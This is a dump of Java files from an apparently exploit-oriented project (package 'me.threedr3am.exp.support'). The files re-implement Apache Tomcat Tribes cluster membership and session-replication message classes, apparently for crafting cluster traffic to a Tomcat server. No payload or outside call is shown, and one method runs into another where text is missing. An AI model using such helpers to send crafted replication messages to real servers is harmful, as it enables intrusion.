-------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package me.threedr3am.exp.support; 18 | 19 | public abstract class ClusterMessageBase implements ClusterMessage { 20 | 21 | private static final long serialVersionUID = 1L; 22 | 23 | private long timestamp; 24 | protected transient Member address; 25 | 26 | public ClusterMessageBase() { 27 | // NO-OP 28 | } 29 | 30 | @Override 31 | public Member getAddress() { 32 | return address; 33 | } 34 | 35 | @Override 36 | public long getTimestamp() { 37 | return timestamp; 38 | } 39 | 40 | @Override 41 | public void setAddress(Member member) { 42 | this.address = member; 43 | } 44 | 45 | @Override 46 | public void setTimestamp(long timestamp) { 47 | this.timestamp = timestamp; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/Member.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | 18 | package me.threedr3am.exp.support; 19 | 20 | import java.io.Serializable; 21 | 22 | /** 23 | * The Member interface, defines a member in the group. 24 | * Each member can carry a set of properties, defined by the actual implementation.
25 | * A member is identified by the host/ip/uniqueId
26 | * The host is what interface the member is listening to, to receive data
27 | * The port is what port the member is listening to, to receive data
28 | * The uniqueId defines the session id for the member. This is an important feature 29 | * since a member that has crashed and the starts up again on the same port/host is 30 | * not guaranteed to be the same member, so no state transfers will ever be confused 31 | */ 32 | public interface Member extends Serializable { 33 | 34 | /** 35 | * When a member leaves the cluster, the payload of the memberDisappeared member 36 | * will be the following bytes. This indicates a soft shutdown, and not a crash 37 | */ 38 | public static final byte[] SHUTDOWN_PAYLOAD = new byte[] {66, 65, 66, 89, 45, 65, 76, 69, 88}; 39 | 40 | /** 41 | * @return the name of this node, should be unique within the group. 42 | */ 43 | public String getName(); 44 | 45 | /** 46 | * Returns the listen host for the ChannelReceiver implementation 47 | * @return IPv4 or IPv6 representation of the host address this member listens to incoming data 48 | * @see ChannelReceiver 49 | */ 50 | public byte[] getHost(); 51 | 52 | /** 53 | * Returns the listen port for the ChannelReceiver implementation 54 | * @return the listen port for this member, -1 if its not listening on an insecure port 55 | * @see ChannelReceiver 56 | */ 57 | public int getPort(); 58 | 59 | /** 60 | * Returns the secure listen port for the ChannelReceiver implementation. 61 | * Returns -1 if its not listening to a secure port. 62 | * @return the listen port for this member, -1 if its not listening on a secure port 63 | * @see ChannelReceiver 64 | */ 65 | public int getSecurePort(); 66 | 67 | /** 68 | * Returns the UDP port that this member is listening to for UDP messages. 69 | * @return the listen UDP port for this member, -1 if its not listening on a UDP port 70 | */ 71 | public int getUdpPort(); 72 | 73 | 74 | /** 75 | * Contains information on how long this member has been online. 76 | * The result is the number of milli seconds this member has been 77 | * broadcasting its membership to the group. 78 | * @return nr of milliseconds since this member started. 79 | */ 80 | public long getMemberAliveTime(); 81 | 82 | public void setMemberAliveTime(long memberAliveTime); 83 | 84 | /** 85 | * The current state of the member 86 | * @return boolean - true if the member is functioning correctly 87 | */ 88 | public boolean isReady(); 89 | /** 90 | * The current state of the member 91 | * @return boolean - true if the member is suspect, but the crash has not been confirmed 92 | */ 93 | public boolean isSuspect(); 94 | 95 | /** 96 | * 97 | * @return boolean - true if the member has been confirmed to malfunction 98 | */ 99 | public boolean isFailing(); 100 | 101 | /** 102 | * returns a UUID unique for this member over all sessions. 103 | * If the member crashes and restarts, the uniqueId will be different. 104 | * @return byte[] 105 | */ 106 | public byte[] getUniqueId(); 107 | 108 | /** 109 | * returns the payload associated with this member 110 | * @return byte[] 111 | */ 112 | public byte[] getPayload(); 113 | 114 | public void setPayload(byte[] payload); 115 | 116 | /** 117 | * returns the command associated with this member 118 | * @return byte[] 119 | */ 120 | public byte[] getCommand(); 121 | 122 | public void setCommand(byte[] command); 123 | 124 | /** 125 | * Domain for this cluster 126 | * @return byte[] 127 | */ 128 | public byte[] getDomain(); 129 | 130 | /** 131 | * Highly optimized version of serializing a member into a byte array 132 | * Returns a cached byte[] reference, do not modify this data 133 | * @param getalive calculate memberAlive time 134 | * @return the data as a byte array 135 | */ 136 | public byte[] getData(boolean getalive); 137 | 138 | /** 139 | * Highly optimized version of serializing a member into a byte array 140 | * Returns a cached byte[] reference, do not modify this data 141 | * @param getalive calculate memberAlive time 142 | * @param reset reset the cached data package, and create a new one 143 | * @return the data as a byte array 144 | */ 145 | public byte[] getData(boolean getalive, boolean reset); 146 | 147 | /** 148 | * Length of a message obtained by {@link #getData(boolean)} or 149 | * {@link #getData(boolean, boolean)}. 150 | * @return the data length 151 | */ 152 | public int getDataLength(); 153 | 154 | /** 155 | * @return boolean - true if the member is local member 156 | */ 157 | public boolean isLocal(); 158 | 159 | public void setLocal(boolean local); 160 | } 161 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/MemberImpl.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | 18 | package me.threedr3am.exp.support; 19 | 20 | import java.io.IOException; 21 | import java.io.ObjectInput; 22 | import java.io.ObjectOutput; 23 | import java.util.Arrays; 24 | import java.util.concurrent.atomic.AtomicInteger; 25 | 26 | /** 27 | * A membership implementation using simple multicast. 28 | * This is the representation of a multicast member. 29 | * Carries the host, and port of the this or other cluster nodes. 30 | */ 31 | public class MemberImpl implements Member, java.io.Externalizable { 32 | 33 | /** 34 | * Should a call to getName or getHostName try to do a DNS lookup? 35 | * default is false 36 | */ 37 | public static final boolean DO_DNS_LOOKUPS = Boolean 38 | .parseBoolean(System.getProperty("org.apache.catalina.tribes.dns_lookups","false")); 39 | 40 | public static final transient byte[] TRIBES_MBR_BEGIN = new byte[] {84, 82, 73, 66, 69, 83, 45, 66, 1, 0}; 41 | public static final transient byte[] TRIBES_MBR_END = new byte[] {84, 82, 73, 66, 69, 83, 45, 69, 1, 0}; 42 | 43 | /** 44 | * The listen host for this member 45 | */ 46 | protected volatile byte[] host = new byte[0]; 47 | protected transient volatile String hostname; 48 | /** 49 | * The tcp listen port for this member 50 | */ 51 | protected volatile int port; 52 | /** 53 | * The udp listen port for this member 54 | */ 55 | protected volatile int udpPort = -1; 56 | 57 | /** 58 | * The tcp/SSL listen port for this member 59 | */ 60 | protected volatile int securePort = -1; 61 | 62 | /** 63 | * Counter for how many broadcast messages have been sent from this member 64 | */ 65 | protected AtomicInteger msgCount = new AtomicInteger(0); 66 | 67 | /** 68 | * The number of milliseconds since this member was 69 | * created, is kept track of using the start time 70 | */ 71 | protected volatile long memberAliveTime = 0; 72 | 73 | /** 74 | * For the local member only 75 | */ 76 | protected transient long serviceStartTime; 77 | 78 | /** 79 | * To avoid serialization over and over again, once the local dataPkg 80 | * has been set, we use that to transmit data 81 | */ 82 | protected transient byte[] dataPkg = null; 83 | 84 | /** 85 | * Unique session Id for this member 86 | */ 87 | protected volatile byte[] uniqueId = new byte[16]; 88 | 89 | /** 90 | * Custom payload that an app framework can broadcast 91 | * Also used to transport stop command. 92 | */ 93 | protected volatile byte[] payload = new byte[0]; 94 | 95 | /** 96 | * Command, so that the custom payload doesn't have to be used 97 | * This is for internal tribes use, such as SHUTDOWN_COMMAND 98 | */ 99 | protected volatile byte[] command = new byte[0]; 100 | 101 | /** 102 | * Domain if we want to filter based on domain. 103 | */ 104 | protected volatile byte[] domain = new byte[0]; 105 | 106 | /** 107 | * The flag indicating that this member is a local member. 108 | */ 109 | protected volatile boolean local = false; 110 | 111 | /** 112 | * Empty constructor for serialization 113 | */ 114 | public MemberImpl() { 115 | 116 | } 117 | 118 | /** 119 | * Construct a new member object. 120 | * 121 | * @param host - the tcp listen host 122 | * @param port - the tcp listen port 123 | * @param aliveTime - the number of milliseconds since this member was created 124 | * 125 | * @throws IOException If there is an error converting the host name to an 126 | * IP address 127 | */ 128 | public MemberImpl(String host, 129 | int port, 130 | long aliveTime) throws IOException { 131 | setHostname(host); 132 | this.port = port; 133 | this.memberAliveTime=aliveTime; 134 | } 135 | 136 | public MemberImpl(String host, 137 | int port, 138 | long aliveTime, 139 | byte[] payload) throws IOException { 140 | this(host,port,aliveTime); 141 | setPayload(payload); 142 | } 143 | 144 | @Override 145 | public boolean isReady() { 146 | return true; 147 | } 148 | @Override 149 | public boolean isSuspect() { 150 | return true; 151 | } 152 | @Override 153 | public boolean isFailing() { 154 | return true; 155 | } 156 | 157 | /** 158 | * Increment the message count. 159 | */ 160 | protected void inc() { 161 | msgCount.incrementAndGet(); 162 | } 163 | 164 | /** 165 | * Create a data package to send over the wire representing this member. 166 | * This is faster than serialization. 167 | * @return - the bytes for this member deserialized 168 | */ 169 | public byte[] getData() { 170 | return getData(true); 171 | } 172 | 173 | 174 | @Override 175 | public byte[] getData(boolean getalive) { 176 | return getData(getalive,false); 177 | } 178 | 179 | 180 | @Override 181 | public synchronized int getDataLength() { 182 | return TRIBES_MBR_BEGIN.length+ //start pkg 183 | 4+ //data length 184 | 8+ //alive time 185 | 4+ //port 186 | 4+ //secure port 187 | 4+ //udp port 188 | 1+ //host length 189 | host.length+ //host 190 | 4+ //command length 191 | command.length+ //command 192 | 4+ //domain length 193 | domain.length+ //domain 194 | 16+ //unique id 195 | 4+ //payload length 196 | payload.length+ //payload 197 | TRIBES_MBR_END.length; //end pkg 198 | } 199 | 200 | 201 | @Override 202 | public synchronized byte[] getData(boolean getalive, boolean reset) { 203 | if (reset) { 204 | dataPkg = null; 205 | } 206 | // Look in cache first 207 | if (dataPkg != null) { 208 | if (getalive) { 209 | // You'd be surprised, but System.currentTimeMillis 210 | // shows up on the profiler 211 | long alive = System.currentTimeMillis() - getServiceStartTime(); 212 | byte[] result = dataPkg.clone(); 213 | XByteBuffer 214 | .toBytes(alive, result, TRIBES_MBR_BEGIN.length + 4); 215 | dataPkg = result; 216 | } 217 | return dataPkg; 218 | } 219 | 220 | //package looks like 221 | //start package TRIBES_MBR_BEGIN.length 222 | //package length - 4 bytes 223 | //alive - 8 bytes 224 | //port - 4 bytes 225 | //secure port - 4 bytes 226 | //udp port - 4 bytes 227 | //host length - 1 byte 228 | //host - hl bytes 229 | //clen - 4 bytes 230 | //command - clen bytes 231 | //dlen - 4 bytes 232 | //domain - dlen bytes 233 | //uniqueId - 16 bytes 234 | //payload length - 4 bytes 235 | //payload plen bytes 236 | //end package TRIBES_MBR_END.length 237 | long alive= System.currentTimeMillis()-getServiceStartTime(); 238 | byte[] data = new byte[getDataLength()]; 239 | 240 | int bodylength = (getDataLength() - TRIBES_MBR_BEGIN.length - TRIBES_MBR_END.length - 4); 241 | 242 | int pos = 0; 243 | 244 | //TRIBES_MBR_BEGIN 245 | System.arraycopy(TRIBES_MBR_BEGIN,0,data,pos,TRIBES_MBR_BEGIN.length); 246 | pos += TRIBES_MBR_BEGIN.length; 247 | 248 | //body length 249 | XByteBuffer.toBytes(bodylength,data,pos); 250 | pos += 4; 251 | 252 | //alive data 253 | XByteBuffer.toBytes(alive,data,pos); 254 | pos += 8; 255 | //port 256 | XByteBuffer.toBytes(port,data,pos); 257 | pos += 4; 258 | //secure port 259 | XByteBuffer.toBytes(securePort,data,pos); 260 | pos += 4; 261 | //udp port 262 | XByteBuffer.toBytes(udpPort,data,pos); 263 | pos += 4; 264 | //host length 265 | data[pos++] = (byte) host.length; 266 | //host 267 | System.arraycopy(host,0,data,pos,host.length); 268 | pos+=host.length; 269 | //clen - 4 bytes 270 | XByteBuffer.toBytes(command.length,data,pos); 271 | pos+=4; 272 | //command - clen bytes 273 | System.arraycopy(command,0,data,pos,command.length); 274 | pos+=command.length; 275 | //dlen - 4 bytes 276 | XByteBuffer.toBytes(domain.length,data,pos); 277 | pos+=4; 278 | //domain - dlen bytes 279 | System.arraycopy(domain,0,data,pos,domain.length); 280 | pos+=domain.length; 281 | //unique Id 282 | System.arraycopy(uniqueId,0,data,pos,uniqueId.length); 283 | pos+=uniqueId.length; 284 | //payload 285 | XByteBuffer.toBytes(payload.length,data,pos); 286 | pos+=4; 287 | System.arraycopy(payload,0,data,pos,payload.length); 288 | pos+=payload.length; 289 | 290 | //TRIBES_MBR_END 291 | System.arraycopy(TRIBES_MBR_END,0,data,pos,TRIBES_MBR_END.length); 292 | pos += TRIBES_MBR_END.length; 293 | 294 | //create local data 295 | dataPkg = data; 296 | return data; 297 | } 298 | /** 299 | * Deserializes a member from data sent over the wire. 300 | * 301 | * @param data The bytes received 302 | * @param member The member object to populate 303 | * 304 | * @return The populated member object. 305 | */ 306 | public static Member getMember(byte[] data, MemberImpl member) { 307 | return getMember(data,0,data.length,member); 308 | } 309 | 310 | public static Member getMember(byte[] data, int offset, int length, MemberImpl member) { 311 | //package looks like 312 | //start package TRIBES_MBR_BEGIN.length 313 | //package length - 4 bytes 314 | //alive - 8 bytes 315 | //port - 4 bytes 316 | //secure port - 4 bytes 317 | //udp port - 4 bytes 318 | //host length - 1 byte 319 | //host - hl bytes 320 | //clen - 4 bytes 321 | //command - clen bytes 322 | //dlen - 4 bytes 323 | //domain - dlen bytes 324 | //uniqueId - 16 bytes 325 | //payload length - 4 bytes 326 | //payload plen bytes 327 | //end package TRIBES_MBR_END.length 328 | 329 | int pos = offset; 330 | 331 | if (XByteBuffer.firstIndexOf(data,offset,TRIBES_MBR_BEGIN)!=pos) { 332 | throw new IllegalArgumentException(""); 333 | } 334 | 335 | if ( length < (TRIBES_MBR_BEGIN.length+4) ) { 336 | throw new ArrayIndexOutOfBoundsException(""); 337 | } 338 | 339 | pos += TRIBES_MBR_BEGIN.length; 340 | 341 | int bodylength = XByteBuffer.toInt(data,pos); 342 | pos += 4; 343 | 344 | if ( length < (bodylength+4+TRIBES_MBR_BEGIN.length+TRIBES_MBR_END.length) ) { 345 | throw new ArrayIndexOutOfBoundsException(""); 346 | } 347 | 348 | int endpos = pos+bodylength; 349 | if (XByteBuffer.firstIndexOf(data,endpos,TRIBES_MBR_END)!=endpos) { 350 | throw new IllegalArgumentException(""); 351 | } 352 | 353 | 354 | byte[] alived = new byte[8]; 355 | System.arraycopy(data, pos, alived, 0, 8); 356 | pos += 8; 357 | byte[] portd = new byte[4]; 358 | System.arraycopy(data, pos, portd, 0, 4); 359 | pos += 4; 360 | 361 | byte[] sportd = new byte[4]; 362 | System.arraycopy(data, pos, sportd, 0, 4); 363 | pos += 4; 364 | 365 | byte[] uportd = new byte[4]; 366 | System.arraycopy(data, pos, uportd, 0, 4); 367 | pos += 4; 368 | 369 | 370 | byte hl = data[pos++]; 371 | byte[] addr = new byte[hl]; 372 | System.arraycopy(data, pos, addr, 0, hl); 373 | pos += hl; 374 | 375 | int cl = XByteBuffer.toInt(data, pos); 376 | pos += 4; 377 | 378 | byte[] command = new byte[cl]; 379 | System.arraycopy(data, pos, command, 0, command.length); 380 | pos += command.length; 381 | 382 | int dl = XByteBuffer.toInt(data, pos); 383 | pos += 4; 384 | 385 | byte[] domain = new byte[dl]; 386 | System.arraycopy(data, pos, domain, 0, domain.length); 387 | pos += domain.length; 388 | 389 | byte[] uniqueId = new byte[16]; 390 | System.arraycopy(data, pos, uniqueId, 0, 16); 391 | pos += 16; 392 | 393 | int pl = XByteBuffer.toInt(data, pos); 394 | pos += 4; 395 | 396 | byte[] payload = new byte[pl]; 397 | System.arraycopy(data, pos, payload, 0, payload.length); 398 | pos += payload.length; 399 | 400 | member.setHost(addr); 401 | member.setPort(XByteBuffer.toInt(portd, 0)); 402 | member.setSecurePort(XByteBuffer.toInt(sportd, 0)); 403 | member.setUdpPort(XByteBuffer.toInt(uportd, 0)); 404 | member.setMemberAliveTime(XByteBuffer.toLong(alived, 0)); 405 | member.setUniqueId(uniqueId); 406 | member.payload = payload; 407 | member.domain = domain; 408 | member.command = command; 409 | 410 | member.dataPkg = new byte[length]; 411 | System.arraycopy(data, offset, member.dataPkg, 0, length); 412 | 413 | return member; 414 | } 415 | 416 | public static Member getMember(byte[] data) { 417 | return getMember(data,new MemberImpl()); 418 | } 419 | 420 | public static Member getMember(byte[] data, int offset, int length) { 421 | return getMember(data,offset,length,new MemberImpl()); 422 | } 423 | 424 | /** 425 | * Return the name of this object 426 | * @return a unique name to the cluster 427 | */ 428 | @Override 429 | public String getName() { 430 | return "tcp://"+getHostname()+":"+getPort(); 431 | } 432 | 433 | /** 434 | * Return the listen port of this member 435 | * @return - tcp listen port 436 | */ 437 | @Override 438 | public int getPort() { 439 | return this.port; 440 | } 441 | 442 | /** 443 | * Return the TCP listen host for this member 444 | * @return IP address or host name 445 | */ 446 | @Override 447 | public byte[] getHost() { 448 | return host; 449 | } 450 | 451 | public String getHostname() { 452 | if ( this.hostname != null ) return hostname; 453 | else { 454 | try { 455 | byte[] host = this.host; 456 | this.hostname = java.net.InetAddress.getByAddress(host).getHostName(); 457 | return this.hostname; 458 | }catch ( IOException x ) { 459 | throw new RuntimeException(x); 460 | } 461 | } 462 | } 463 | 464 | public int getMsgCount() { 465 | return msgCount.get(); 466 | } 467 | 468 | /** 469 | * Contains information on how long this member has been online. 470 | * The result is the number of milli seconds this member has been 471 | * broadcasting its membership to the cluster. 472 | * @return nr of milliseconds since this member started. 473 | */ 474 | @Override 475 | public long getMemberAliveTime() { 476 | return memberAliveTime; 477 | } 478 | 479 | public long getServiceStartTime() { 480 | return serviceStartTime; 481 | } 482 | 483 | @Override 484 | public byte[] getUniqueId() { 485 | return uniqueId; 486 | } 487 | 488 | @Override 489 | public byte[] getPayload() { 490 | return payload; 491 | } 492 | 493 | @Override 494 | public byte[] getCommand() { 495 | return command; 496 | } 497 | 498 | @Override 499 | public byte[] getDomain() { 500 | return domain; 501 | } 502 | 503 | @Override 504 | public int getSecurePort() { 505 | return securePort; 506 | } 507 | 508 | @Override 509 | public int getUdpPort() { 510 | return udpPort; 511 | } 512 | 513 | @Override 514 | public void setMemberAliveTime(long time) { 515 | memberAliveTime=time; 516 | } 517 | 518 | 519 | 520 | /** 521 | * String representation of this object 522 | */ 523 | @Override 524 | public String toString() { 525 | StringBuilder buf = new StringBuilder(getClass().getName()); 526 | buf.append("["); 527 | buf.append(getName()).append(","); 528 | buf.append(getHostname()).append(","); 529 | buf.append(port).append(", alive="); 530 | buf.append(memberAliveTime).append(", "); 531 | buf.append("securePort=").append(securePort).append(", "); 532 | buf.append("UDP Port=").append(udpPort).append(", "); 533 | buf.append("id=").append(bToS(this.uniqueId)).append(", "); 534 | buf.append("payload=").append(bToS(this.payload,8)).append(", "); 535 | buf.append("command=").append(bToS(this.command,8)).append(", "); 536 | buf.append("domain=").append(bToS(this.domain,8)); 537 | buf.append("]"); 538 | return buf.toString(); 539 | } 540 | public static String bToS(byte[] data) { 541 | return bToS(data,data.length); 542 | } 543 | public static String bToS(byte[] data, int max) { 544 | StringBuilder buf = new StringBuilder(4*16); 545 | buf.append("{"); 546 | for (int i=0; data!=null && i oldPayloadLength) { 623 | // It is possible that the max packet size will be exceeded 624 | 625 | } 626 | this.payload = payload != null ? payload : new byte[0]; 627 | getData(true, true); 628 | } 629 | 630 | @Override 631 | public synchronized void setCommand(byte[] command) { 632 | this.command = command!=null?command:new byte[0]; 633 | getData(true,true); 634 | } 635 | 636 | public synchronized void setDomain(byte[] domain) { 637 | this.domain = domain!=null?domain:new byte[0]; 638 | getData(true,true); 639 | } 640 | 641 | public synchronized void setSecurePort(int securePort) { 642 | this.securePort = securePort; 643 | this.dataPkg = null; 644 | } 645 | 646 | public synchronized void setUdpPort(int port) { 647 | this.udpPort = port; 648 | this.dataPkg = null; 649 | } 650 | 651 | @Override 652 | public boolean isLocal() { 653 | return local; 654 | } 655 | 656 | @Override 657 | public void setLocal(boolean local) { 658 | this.local = local; 659 | } 660 | 661 | @Override 662 | public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { 663 | int length = in.readInt(); 664 | byte[] message = new byte[length]; 665 | in.readFully(message); 666 | getMember(message,this); 667 | 668 | } 669 | 670 | @Override 671 | public void writeExternal(ObjectOutput out) throws IOException { 672 | byte[] data = this.getData(); 673 | out.writeInt(data.length); 674 | out.write(data); 675 | } 676 | 677 | } 678 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/SessionMessage.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package me.threedr3am.exp.support; 18 | 19 | /** 20 | * 21 | * Class Description:
22 | * The SessionMessage class is a class that is used when a session has been 23 | * created, modified, expired in a Tomcat cluster node.
24 | * 25 | * The following events are currently available: 26 | *
    27 | *
  • public static final int EVT_SESSION_CREATED
  • 28 | *
  • public static final int EVT_SESSION_EXPIRED
  • 29 | *
  • public static final int EVT_SESSION_ACCESSED
  • 30 | *
  • public static final int EVT_GET_ALL_SESSIONS
  • 31 | *
  • public static final int EVT_SESSION_DELTA
  • 32 | *
  • public static final int EVT_ALL_SESSION_DATA
  • 33 | *
  • public static final int EVT_ALL_SESSION_TRANSFERCOMPLETE
  • 34 | *
  • public static final int EVT_CHANGE_SESSION_ID
  • 35 | *
  • public static final int EVT_ALL_SESSION_NOCONTEXTMANAGER
  • 36 | *
37 | * 38 | */ 39 | 40 | public interface SessionMessage extends ClusterMessage { 41 | 42 | /** 43 | * Event type used when a session has been created on a node 44 | */ 45 | public static final int EVT_SESSION_CREATED = 1; 46 | /** 47 | * Event type used when a session has expired 48 | */ 49 | public static final int EVT_SESSION_EXPIRED = 2; 50 | 51 | /** 52 | * Event type used when a session has been accessed (ie, last access time 53 | * has been updated. This is used so that the replicated sessions will not expire 54 | * on the network 55 | */ 56 | public static final int EVT_SESSION_ACCESSED = 3; 57 | /** 58 | * Event type used when a server comes online for the first time. 59 | * The first thing the newly started server wants to do is to grab the 60 | * all the sessions from one of the nodes and keep the same state in there 61 | */ 62 | public static final int EVT_GET_ALL_SESSIONS = 4; 63 | /** 64 | * Event type used when an attribute has been added to a session, 65 | * the attribute will be sent to all the other nodes in the cluster 66 | */ 67 | public static final int EVT_SESSION_DELTA = 13; 68 | 69 | /** 70 | * When a session state is transferred, this is the event. 71 | */ 72 | public static final int EVT_ALL_SESSION_DATA = 12; 73 | 74 | /** 75 | * When a session state is complete transferred, this is the event. 76 | */ 77 | public static final int EVT_ALL_SESSION_TRANSFERCOMPLETE = 14; 78 | 79 | /** 80 | * Event type used when a sessionID has been changed. 81 | */ 82 | public static final int EVT_CHANGE_SESSION_ID = 15; 83 | 84 | /** 85 | * Event type used when context manager doesn't exist. 86 | * This is used when the manager which send a session state does not exist. 87 | */ 88 | public static final int EVT_ALL_SESSION_NOCONTEXTMANAGER = 16; 89 | 90 | public String getContextName(); 91 | 92 | public String getEventTypeString(); 93 | 94 | /** 95 | * returns the event type 96 | * @return one of the event types EVT_XXXX 97 | */ 98 | public int getEventType(); 99 | /** 100 | * @return the serialized data for the session 101 | */ 102 | public byte[] getSession(); 103 | /** 104 | * @return the session ID for the session 105 | */ 106 | public String getSessionID(); 107 | 108 | 109 | }//SessionMessage 110 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/SessionMessageImpl.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package me.threedr3am.exp.support; 18 | 19 | 20 | /** 21 | * Session cluster message 22 | * 23 | * @author Peter Rossbach 24 | */ 25 | public class SessionMessageImpl extends ClusterMessageBase implements SessionMessage { 26 | 27 | private static final long serialVersionUID = 2L; 28 | 29 | 30 | /* 31 | * Private serializable variables to keep the messages state 32 | */ 33 | private final int mEvtType; 34 | private final byte[] mSession; 35 | private final String mSessionID; 36 | 37 | private final String mContextName; 38 | private long serializationTimestamp; 39 | private boolean timestampSet = false ; 40 | private String uniqueId; 41 | 42 | 43 | public SessionMessageImpl( String contextName, 44 | int eventtype, 45 | byte[] session, 46 | String sessionID) 47 | { 48 | mEvtType = eventtype; 49 | mSession = session; 50 | mSessionID = sessionID; 51 | mContextName = contextName; 52 | uniqueId = sessionID; 53 | } 54 | 55 | /** 56 | * Creates a session message. Depending on what event type you want this 57 | * message to represent, you populate the different parameters in the constructor
58 | * The following rules apply dependent on what event type argument you use:
59 | * EVT_SESSION_CREATED
60 | * The parameters: session, sessionID must be set.
61 | * EVT_SESSION_EXPIRED
62 | * The parameters: sessionID must be set.
63 | * EVT_SESSION_ACCESSED
64 | * The parameters: sessionID must be set.
65 | * EVT_GET_ALL_SESSIONS
66 | * get all sessions from from one of the nodes.
67 | * EVT_SESSION_DELTA
68 | * Send attribute delta (add,update,remove attribute or principal, ...).
69 | * EVT_ALL_SESSION_DATA
70 | * Send complete serializes session list
71 | * EVT_ALL_SESSION_TRANSFERCOMPLETE
72 | * send that all session state information are transferred 73 | * after GET_ALL_SESSION received from this sender.
74 | * EVT_CHANGE_SESSION_ID
75 | * send original sessionID and new sessionID.
76 | * EVT_ALL_SESSION_NOCONTEXTMANAGER
77 | * send that context manager does not exist 78 | * after GET_ALL_SESSION received from this sender.
79 | * @param contextName - the name of the context (application 80 | * @param eventtype - one of the 8 event type defined in this class 81 | * @param session - the serialized byte array of the session itself 82 | * @param sessionID - the id that identifies this session 83 | * @param uniqueID - the id that identifies this message 84 | */ 85 | public SessionMessageImpl( String contextName, 86 | int eventtype, 87 | byte[] session, 88 | String sessionID, 89 | String uniqueID) 90 | { 91 | this(contextName,eventtype,session,sessionID); 92 | uniqueId = uniqueID; 93 | } 94 | 95 | /** 96 | * returns the event type 97 | * @return one of the event types EVT_XXXX 98 | */ 99 | @Override 100 | public int getEventType() { return mEvtType; } 101 | 102 | /** 103 | * @return the serialized data for the session 104 | */ 105 | @Override 106 | public byte[] getSession() { return mSession;} 107 | 108 | /** 109 | * @return the session ID for the session 110 | */ 111 | @Override 112 | public String getSessionID(){ return mSessionID; } 113 | 114 | /** 115 | * set message send time but only the first setting works (one shot) 116 | */ 117 | @Override 118 | public void setTimestamp(long time) { 119 | synchronized(this) { 120 | if(!timestampSet) { 121 | serializationTimestamp=time; 122 | timestampSet = true ; 123 | } 124 | } 125 | } 126 | 127 | @Override 128 | public long getTimestamp() { return serializationTimestamp;} 129 | 130 | /** 131 | * clear text event type name (for logging purpose only) 132 | * @return the event type in a string representation, useful for debugging 133 | */ 134 | @Override 135 | public String getEventTypeString() 136 | { 137 | switch (mEvtType) 138 | { 139 | case EVT_SESSION_CREATED : return "SESSION-MODIFIED"; 140 | case EVT_SESSION_EXPIRED : return "SESSION-EXPIRED"; 141 | case EVT_SESSION_ACCESSED : return "SESSION-ACCESSED"; 142 | case EVT_GET_ALL_SESSIONS : return "SESSION-GET-ALL"; 143 | case EVT_SESSION_DELTA : return "SESSION-DELTA"; 144 | case EVT_ALL_SESSION_DATA : return "ALL-SESSION-DATA"; 145 | case EVT_ALL_SESSION_TRANSFERCOMPLETE : return "SESSION-STATE-TRANSFERRED"; 146 | case EVT_CHANGE_SESSION_ID : return "SESSION-ID-CHANGED"; 147 | case EVT_ALL_SESSION_NOCONTEXTMANAGER : return "NO-CONTEXT-MANAGER"; 148 | default : return "UNKNOWN-EVENT-TYPE"; 149 | } 150 